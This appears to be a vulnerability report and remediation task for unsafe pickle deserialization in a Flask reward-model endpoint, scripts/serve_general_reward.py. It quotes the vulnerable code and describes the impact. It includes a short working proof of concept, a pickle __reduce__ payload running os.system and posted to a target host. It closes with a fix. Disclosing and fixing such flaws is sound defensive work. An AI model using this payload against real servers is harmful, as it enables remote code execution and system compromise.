调研方向
Start with scripts/serve_general_reward.py:29 and trace how the POST / request body is consumed by the inference endpoint. Review the service's host and communication assumptions before choosing between JSON serialization and authenticated trusted communication. Done means unauthenticated request data can no longer trigger arbitrary deserialization, with the endpoint's intended request handling preserved.

描述
Summary
CVSS 9.8 (Critical) — Unauthenticated Remote Code Execution via unsafe pickle.loads() on raw HTTP request body in scripts/serve_general_reward.py.
Affected Code
File: scripts/serve_general_reward.py:29
@root.route("/", methods=["POST"])
def inference():
data = request.get_data()
payload = pickle.loads(data) # ← RCE via untrusted deserialization
The Flask endpoint accepts POST requests to / with ZERO authentication. The raw HTTP body is passed directly to pickle.loads(), which executes arbitrary Python code during deserialization.
Impact
Complete server compromise. Any unauthenticated attacker on the network (the host defaults to 127.0.0.1 but can be overridden via GENERAL_REWARD_HOST env var) can:
- Execute arbitrary OS commands
- Steal ML models and training data
- Establish persistence on the server
Proof of Concept
import pickle, os, requests
class Exploit:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned_worldr1",))
payload = pickle.dumps(Exploit())
requests.post("http://TARGET:8090/", data=payload)
Fix
Replace pickle with JSON serialization (json.loads). If pickle is required for internal communication, add authentication (HMAC/API key) and only accept connections from trusted sources.
